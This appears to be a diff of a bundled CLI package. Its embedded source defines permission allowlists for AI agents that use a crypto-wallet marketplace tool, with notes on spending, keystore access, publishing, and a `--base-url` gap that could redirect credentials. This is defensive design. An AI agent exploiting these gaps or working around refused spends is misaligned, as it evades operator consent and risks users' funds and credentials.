(2026-08-12): free on both surfaces, because the command just opens the ' +\n 'fund modal. Minting moves no money: the destination is server-pinned to the wallet ' +\n 'that signed, the CLI refuses any checkout host but pay.coinbase.com, and payment ' +\n 'happens behind Coinbase\\u2019s own human gate. The usual --base-url caveat does not ' +\n 'apply: fund is pinned to the production origin and takes no override from flag, ' +\n 'env, or config.',\n },\n {\n rule: 'Bash(tenjin inspect:*)',\n command: 'tenjin inspect',\n note: 'Free pre-purchase card and preview. Never signs, never pays, never saves.',\n },\n {\n rule: 'Bash(tenjin read:*)',\n command: 'tenjin read',\n note:\n 'Free-only delivery: free pieces, local-library re-reads, and pieces this ' +\n 'wallet already owns. Cannot spend: the payment module is absent from its ' +\n 'import graph, and the key it signs with is a P-256 delegation, the wrong ' +\n 'curve to authorize a payment. OPENS THE KEYSTORE (one wallet signature) ' +\n 'when an owned piece is not on this machine and no session key is live, ' +\n 'minting the same ≤24h read-scoped delegation `publish` and `edit` mint; ' +\n 'every later owned read reuses it and asks for nothing. TRANSMITS A ' +\n 'CREDENTIAL: that wallet-derived delegation goes to the server on a cold ' +\n '402. It is minted and presented only for the origin of the piece being ' +\n 'read, and never for a second origin while one for another is cached, ' +\n 'which is what bounds a stray `--base-url`; no scope on it limits what a ' +\n 'holder could do with it. Not read-only: a freshly delivered piece is ' +\n 'saved to the library.',\n },\n {\n rule: 'Bash(tenjin outcome:*)',\n command: 'tenjin outcome',\n note:\n 'Free honest outcome report on a past search. No wallet, no payment. ' +\n 'Not read-only: it POSTs a report that moves the marketplace reuse signal.',\n },\n {\n rule: 'Bash(tenjin doctor:*)',\n command: 'tenjin doctor',\n note:\n 'Local environment and API reachability diagnostics. Decrypts the wallet ' +\n 'locally to check it still opens; signs nothing and sends nothing.',\n },\n {\n rule: 'Bash(tenjin wallet show:*)',\n command: 'tenjin wallet show',\n note: 'Prints the wallet address and key source. Never prints the key.',\n },\n {\n rule: 'Bash(tenjin wallet balance:*)',\n command: 'tenjin wallet balance',\n note: 'Read-only USDC balance query on Base.',\n },\n {\n rule: 'Bash(tenjin config get:*)',\n command: 'tenjin config get',\n note:\n 'Reads one effective config value. `config set` is excluded on purpose. ' +\n 'Note `config get rpcUrl` returns your RPC URL, which commonly embeds a ' +\n 'provider API key: no wallet secret, but a credential-adjacent read.',\n },\n];\n\n/**\n * The verbs offered as EXPLICIT opt-in lines rather than shipped in the safe set:\n * the one that spends, and the one that opens the keystore.\n *\n * Read the buy note carefully before pasting the line: on the DEFAULT config this\n * rule authorizes unattended spending up to the wallet balance. Walking\n * `--yes` clears confirmation only. Zero daily budget refuses positive payments,\n * finite budgets cap cumulative exposure, and `none` explicitly removes that cap.\n */\nexport const OPT_IN_ALLOWLIST: readonly AllowlistEntry[] = [\n {\n rule: 'Bash(tenjin buy:*)',\n command: 'tenjin buy',\n note:\n 'SPENDS USDC on Base, unrefundably. This authorizes UNATTENDED purchases: ' +\n '`--yes` is an ordinary flag on the same allowlisted verb and it clears the ' +\n 'confirm gate only. Manual purchases do not obey maxAutoSpend or sessionBudget; those limits apply only to automatic router spending. ' +\n 'This permission never raises a spend cap, but those automatic caps do not bound this verb. Use --max-price for an explicit per-purchase ceiling and require consent for the quoted purchase.',\n },\n {\n rule: 'Bash(tenjin pay:*)',\n command: 'tenjin pay',\n note:\n 'SPENDS USDC on Base, unrefundably. Only for explicit user-requested payments with consent for the live quote; never an autonomous router-refusal workaround. Automatic router limits do not apply. Registry lookup failures or listed-term mismatches require --ignore-warnings ' +\n 'for that invocation, and --yes confirms payment only. Both still obey an explicit --max-price, ' +\n 'balance and destination checks. maxAutoSpend and sessionBudget apply only to automatic router spending. Every paid call can spend again.',\n },\n];\n\n/**\n * The one rule that is neither always-safe nor a standing opt-in: it exists only\n * while `publish.mode` is `auto` or `full-auto`.\n *\n * The mode IS the consent. An operator who set auto has already said a clean\n * publish should proceed without asking; leaving the harness prompt in front of\n * it asks the same question a second time, in a place the mode cannot answer,\n * and the agent that hits it does the only safe thing and stops. That was the\n * observed failure: a session ran `tenjin config get publish.mode` mid-publish to\n * discover it had permission it had already been given (#161).\n *\n * NOT part of {@link recommendedRules}, and not a tier an operator picks from.\n * There is no line to paste and no flag that adds it: `install` writes it when\n * the mode it just settled is auto or full-auto, takes it back when the mode is\n * review, and `uninstall` reclaims it like every other rule this CLI wrote.\n */\nexport const PUBLISH_MODE_ALLOWLIST: readonly AllowlistEntry[] = [\n {\n rule: 'Bash(tenjin publish:*)',\n command: 'tenjin publish',\n note:\n 'PUBLISHES PUBLICLY under your identity, and is cleared only while publish.mode is ' +\n 'auto or full-auto: the mode is the consent, and the harness prompt would ask for it ' +\n 'twice. Three things it clears that the free tier never did. It OPENS THE KEYSTORE: ' +\n 'publish always resolves a signer, and with no usable session it mints one at ' +\n 'read+write scope, which is strictly broader than the read-only key `tenjin read` ' +\n 'mints to recover an owned piece. It publishes the contents ' +\n 'of ANY REGULAR LOCAL FILE the agent can read, gated only by the heuristic scan. And it is a ' +\n 'PREFIX rule, so it pins the verb and not the flags: `--base-url` rides it (see the ' +\n 'flag caveat), and `--yes` is an ordinary flag on the same verb that clears exactly ' +\n 'the WARN findings auto stopped on, so a re-run collapses auto into full-auto with ' +\n 'nobody asked. The local scan is warn-only now and every finding routes through the ' +\n 'same consent flow this mode already governs; what still refuses a publish outright is ' +\n 'the SERVER’s ingest gate (vendor tokens, private keys, seed phrases, DB passwords, ' +\n 'bearer headers), which no mode and no flag clears. The skills hold the rest of that ' +\n 'line. Set publish.mode back to review and the rule is retracted.',\n },\n {\n rule: 'Bash(tenjin edit:*)',\n command: 'tenjin edit',\n note:\n 'Updates posts your wallet ALREADY OWNS: reprices, refreshes an as-of date, repairs an ' +\n 'answer card, and flips status both ways, so it CAN PROMOTE A DRAFT TO PUBLISHED under ' +\n 'this same gate (promotion re-runs the block-tier secret scan over the stored body). ' +\n 'Owner-scoped on both legs (GET and PUT /api/posts/<id> are signed and owner-only), ' +\n 'spends nothing, moves no keys, and mints no new posts: a narrower blast radius than ' +\n 'the publish rule beside it, though promotion means existing drafts can go public. It ' +\n 'rides the same mode for the same reason: edit runs the identical publish.mode consent ' +\n 'gate in the CLI (lib/consent.ts needsConfirmation), so a mode that publishes ' +\n 'unattended and then cannot fix its own post\\u2019s price is the asymmetry the mode ' +\n 'exists to remove. It opens the keystore on the same terms as the publish rule beside ' +\n 'it, and takes the same prefix-rule caveats. Removed by the same return to review.',\n },\n];\n\n/** The mode-gated rules in effect for `mode`; empty on review. */\nexport function modeGatedAllowlist(mode: PublishMode): AllowlistEntry[] {\n return mode === 'review' ? [] : PUBLISH_MODE_ALLOWLIST.map((e) => ({ ...e }));\n}\n\n/**\n * Verbs that must NEVER appear in the recommended allowlist, with the reason each\n * one is a human decision. `tenjin wallet send` is the wallet escape hatch\n * (tenjin-agent #40) and heads this list: it moves USDC to an arbitrary address,\n * outside the spend policy that bounds `buy`. Naming it here is load-bearing even\n * in versions where the verb does not exist yet — the exclusion ships before the\n * verb does.\n *\n * `tenjin publish` stays on this list under its own terms: nothing RECOMMENDS it,\n * and no line here or on the doc page adds it. {@link PUBLISH_MODE_ALLOWLIST} is\n * not a recommendation — it is what one specific operator choice already means.\n */\nexport const NEVER_ALLOWLISTED: readonly ExcludedVerb[] = [\n {\n command: 'tenjin wallet send',\n reason:\n 'Moves USDC out of the wallet to an arbitrary address (the escape hatch, #40). ' +\n 'Irreversible and not bounded by the buy spend policy. Always a human decision.',\n },\n {\n command: 'tenjin publish',\n reason:\n 'Puts your content on a public marketplace under your identity. Never pre-cleared by the ' +\n 'free tier or an opt-in line: the only thing that clears it is `publish.mode` auto or ' +\n 'full-auto, which is the same human decision said once instead of twice (see ' +\n 'PUBLISH_MODE_ALLOWLIST). Back on review, `install` takes the rule away again.',\n },\n {\n command: 'tenjin edit',\n reason:\n 'Write-capable despite the no-flag form reading as a pure show: it edits live posts ' +\n 'and answer cards under your identity, and moves prices. A prefix rule pins the verb, ' +\n 'not the flags, so no rule can clear the read half without clearing the write half. ' +\n 'Never pre-cleared as a recommendation: like `tenjin publish`, the only thing that ' +\n 'clears it is `publish.mode` auto or full-auto, whose consent gate it already shares ' +\n '(see PUBLISH_MODE_ALLOWLIST). Back on review, `install` takes the rule away again.',\n },\n {\n command: 'tenjin delete',\n reason:\n 'Destroys a published piece. It is the one write verb `publish.mode` deliberately does NOT ' +\n 'carry: the mode is consent to publish, and reading it as consent to destroy would let one ' +\n 'decision authorize a different, irreversible one. So no mode ever clears this rule, and ' +\n 'the CLI confirms on every run regardless — a prefix rule here would only remove the ' +\n 'harness prompt in front of a command that asks its own question anyway. Reach for ' +\n '`tenjin edit --status draft` when the piece should come down reversibly.',\n },\n {\n command: 'tenjin wallet create',\n reason: 'Creates the payment credential; a stray run is a wallet you did not mean to have.',\n },\n {\n command: 'tenjin config set',\n reason:\n 'Can raise maxAutoSpend / sessionBudget, i.e. widen the agent’s own spend policy — ' +\n 'and, through shelfBypassSecret + baseUrl, put the machine in team mode, where a publish ' +\n 'skips the scan’s warn tier (except secret-assignment, and hex32-value, the warn form a ' +\n 'block-tier check demotes to) and prices at 0. It also writes ' +\n 'publish.ackServerWarnings on, the most direct consent-loosening write on this verb: ' +\n 'it lets one --yes cover the marketplace’s own scan findings, which no payload had ' +\n 'rendered when that yes was given.',\n },\n {\n command: 'tenjin install',\n reason: 'Writes into harness config and skills directories.',\n },\n {\n command: 'tenjin mcp',\n reason:\n 'Long-running server that re-exposes every command core over stdio; ' +\n 'clearing it would indirectly clear everything above.',\n },\n {\n command: 'tenjin update',\n reason:\n 'Replaces the tenjin binary the agent then runs, with whatever npm serves ' +\n 'next. Which build an agent executes is an operator decision, not something ' +\n 'a rule pre-clears. `--check` only reports, but a prefix rule pins the verb, ' +\n 'not the flags.',\n },\n];\n\n/**\n * The flag-surface caveat. A prefix rule pins the verb, never the flags, and the\n * flag that matters is `--base-url`: it is accepted on every leaf, validated only\n * as a URL, and it wins settings precedence, so it moves the destination of every\n * allowlisted verb. Printed with the rules everywhere they are printed, because\n * an operator who only reads the verb list would never learn it.\n */\nexport const FLAG_CAVEAT: readonly string[] = [\n 'Caveat: a prefix rule pins the VERB, not the flags. Every line above also clears',\n '`--base-url <url>` on that verb, which re-points where the question, the probe, the',\n 'session key `read` mints and presents, and (for buy) the signature and payment go.',\n 'Signed and credential-bearing traffic is NOT confined to the paying verb: `read` is in',\n 'the safe tier and both mints a wallet-derived delegation and transmits it, which is why',\n 'that delegation is bound to the origin it was minted for and refused elsewhere.',\n 'Allowlist these verbs only if you are content for the agent to choose the destination',\n 'host, and set the base URL in config instead of letting it be an argument. The skills',\n 'tell agents never to pass --base-url on an allowlisted verb, but that is a convention,',\n 'not an enforced boundary.',\n 'This covers the two rules your publish.mode carries as well, and bites hardest there:',\n '`tenjin publish --base-url <host>` is cleared by default on auto, and it signs against',\n 'the host it is given.',\n];\n\n/**\n * The MCP caveat. `tenjin mcp` is never recommended as a Bash rule, but an\n * operator who registers the server anyway is on a different permission surface\n * (tools, not command strings) where three excluded verbs come back.\n */\nexport const MCP_CAVEAT: readonly string[] = [\n 'Note the asymmetry: publish.mode writes the Bash rules for `publish` and `edit`, and',\n 'deliberately does not touch the MCP tool grants below. The mode is a CLI-side consent',\n 'gate, and nothing reads it on the MCP surface, so clearing those tools would hand out',\n 'the same authority with none of the same gate. Aligning the two is tracked separately.',\n 'Running the local MCP server (`tenjin mcp`) instead? That is a different permission',\n 'surface: the harness gates TOOLS there, and these Bash rules do not apply. Leave',\n '`mcp__tenjin__tenjin_publish`, `mcp__tenjin__tenjin_edit`,',\n '`mcp__tenjin__tenjin_delete`, and `mcp__tenjin__tenjin_wallet` gated. `tenjin_buy` is',\n 'the same opt-in decision as the buy line above. `tenjin_delete` is the one whose own',\n 'core still confirms even if you clear it: it never reads publish.mode.',\n];\n\n/** The machine shape emitted by `tenjin doctor --json` and `tenjin install --json`. */\nexport interface RecommendedPermissions {\n alwaysSafe: AllowlistEntry[];\n optIn: AllowlistEntry[];\n neverAllowlisted: ExcludedVerb[];\n /**\n * Rules the CURRENT publish.mode carries, empty on review. Separate from the\n * three tiers above because it is not a recommendation to weigh: it is what\n * this machine's mode already means, so a consumer that renders it beside the\n * others would be offering a choice that has been made.\n */\n modeGated: AllowlistEntry[];\n /**\n * Whether any harness on THIS machine can carry the rules above. They are\n * `Bash(...)` lines, Claude Code's grammar; a reader that took this payload\n * for a description of a Codex-only machine concluded `publish.mode=auto`\n * was in force while Codex was rejecting `tenjin publish` before the CLI ran\n * (tenjin-agent#342). The document still ships for a harness you have not\n * installed yet, so check this before treating any rule below as granted.\n */\n effective: boolean;\n /** Caveats that qualify the rules above; never omit them when rendering. */\n caveats: { flags: string[]; mcp: string[] };\n}\n\n/**\n * `mode` defaults to the shipped `review`, i.e. no mode-gated rules.\n * `effective` defaults to FALSE, so a caller that has not established such a\n * harness cannot have the payload claim one by omission.\n */\nexport function recommendedPermissions(\n mode: PublishMode = 'review',\n effective = false,\n): RecommendedPermissions {\n return {\n alwaysSafe: ALWAYS_SAFE_ALLOWLIST.map((e) => ({ ...e })),\n optIn: OPT_IN_ALLOWLIST.map((e) => ({ ...e })),\n neverAllowlisted: NEVER_ALLOWLISTED.map((e) => ({ ...e })),\n modeGated: modeGatedAllowlist(mode),\n effective,\n caveats: { flags: [...FLAG_CAVEAT], mcp: [...MCP_CAVEAT] },\n };\n}\n\n/** Every rule this module recommends adding (safe + opt-in). */\nexport function recommendedRules(): string[] {\n return [...ALWAYS_SAFE_ALLOWLIST, ...OPT_IN_ALLOWLIST].map((e) => e.rule);\n}\n\n/**\n * The permission caveats' one home. `doctor` used to print the whole thing —\n * nine rules, both opt-in notes, every exclusion, the flag caveat and the MCP\n * caveat, ~60 lines ahead of the check list it was actually run for. No doctor\n * command in the wider ecosystem carries security prose, and an operator reading\n * a wall of it in a terminal cannot paste from it, search it, or link a colleague\n * to a section. The page can do all three, so it is where the caveats live and\n * where every human surface points; `--json` still carries them as data\n * (`recommendedPermissions`), which is what an agent reads.\n */\nexport const PERMISSIONS_DOC_URL =\n 'https://github.com/BackTrackCo/tenjin-agent/blob/main/docs/agent-permissions.md';\n\n/**\n * The rules the current mode is missing, or null when it needs none. This one\n * DOES name them: they are not a tier to weigh and paste, they\n * are lines that should already be in the operator's settings file, and an\n * operator whose agent is being prompted for work the mode said not to ask about\n * needs to see exactly which rules are missing.\n *\n * CONSULTS THE MACHINE. Rendering from the mode alone told operators to add\n * rules their settings file already had, and named a remedy that in one case\n * would not have written anything — a nag that is wrong twice over on a line\n * whose whole job is to prevent an agent stalling on a prompt (#161).\n */\nexport function modeGatedPointer(\n mode: PublishMode,\n /** The mode-gated rules this machine is actually MISSING. Empty renders nothing. */\n missing: readonly string[],\n /**\n * The command that would fix it. `tenjin install` for the ordinary case; a\n * mode coming from TENJIN_PUBLISH_MODE needs `config set` instead, because\n * install resolves the mode from the global file and would write nothing.\n */\n remedy = 'tenjin install',\n): string | null {\n if (modeGatedAllowlist(mode).length === 0 || missing.length === 0) return null;\n return `publish.mode=${mode} also needs ${missing.join(' and ')} in your harness allowlist, or it will prompt anyway; \\`${remedy}\\` writes them.`;\n}\n"],"mappings":";;;AAyOO,IAAM,yBAAoD;AAAA,EAC/D;AAAA,IACE,MAAM;AAAA,IACN,SAAS;AAAA,IACT,MACE;AAAA,EAeJ;AAAA,EACA;AAAA,IACE,MAAM;AAAA,IACN,SAAS;AAAA,IACT,MACE;AAAA,EAWJ;AACF;AAGO,SAAS,mBAAmB,MAAqC;AACtE,SAAO,SAAS,WAAW,CAAC,IAAI,uBAAuB,IAAI,CAAC,OAAO,EAAE,GAAG,EAAE,EAAE;AAC9E;AAwLO,IAAM,sBACX;AAcK,SAAS,iBACd,MAEA,SAMA,SAAS,kBACM;AACf,MAAI,mBAAmB,IAAI,EAAE,WAAW,KAAK,QAAQ,WAAW,EAAG,QAAO;AAC1E,SAAO,gBAAgB,IAAI,eAAe,QAAQ,KAAK,OAAO,CAAC,2DAA2D,MAAM;AAClI;","names":[]}
|
|
@@ -10,11 +10,11 @@ import {
|
|
|
10
10
|
defineTransactionReceipt,
|
|
11
11
|
formatTransaction,
|
|
12
12
|
http
|
|
13
|
-
} from "./chunk-
|
|
13
|
+
} from "./chunk-Y66XUXVI.js";
|
|
14
14
|
import {
|
|
15
15
|
serializeTransaction,
|
|
16
16
|
toRlp
|
|
17
|
-
} from "./chunk-
|
|
17
|
+
} from "./chunk-6DCELMQA.js";
|
|
18
18
|
import {
|
|
19
19
|
decodeFunctionData,
|
|
20
20
|
encodeFunctionData,
|
|
@@ -318,4 +318,4 @@ export {
|
|
|
318
318
|
prepareUsdcSend,
|
|
319
319
|
broadcastUsdcSend
|
|
320
320
|
};
|
|
321
|
-
//# sourceMappingURL=chunk-
|
|
321
|
+
//# sourceMappingURL=chunk-A6CY6BUW.js.map
|
|
@@ -5,12 +5,12 @@ import {
|
|
|
5
5
|
mainWorktreeOf,
|
|
6
6
|
ownedCandidates,
|
|
7
7
|
projectRoot
|
|
8
|
-
} from "./chunk-
|
|
8
|
+
} from "./chunk-5DOHKQ24.js";
|
|
9
9
|
import {
|
|
10
10
|
CONFIG_DEFAULTS,
|
|
11
11
|
loadRawConfig,
|
|
12
12
|
parseRouterLayer
|
|
13
|
-
} from "./chunk-
|
|
13
|
+
} from "./chunk-UNV4K45L.js";
|
|
14
14
|
import {
|
|
15
15
|
CliError
|
|
16
16
|
} from "./chunk-JLEF5WHM.js";
|
|
@@ -124,4 +124,4 @@ export {
|
|
|
124
124
|
readProjectRouterFile,
|
|
125
125
|
projectRouterPath
|
|
126
126
|
};
|
|
127
|
-
//# sourceMappingURL=chunk-
|
|
127
|
+
//# sourceMappingURL=chunk-AISBL7EY.js.map
|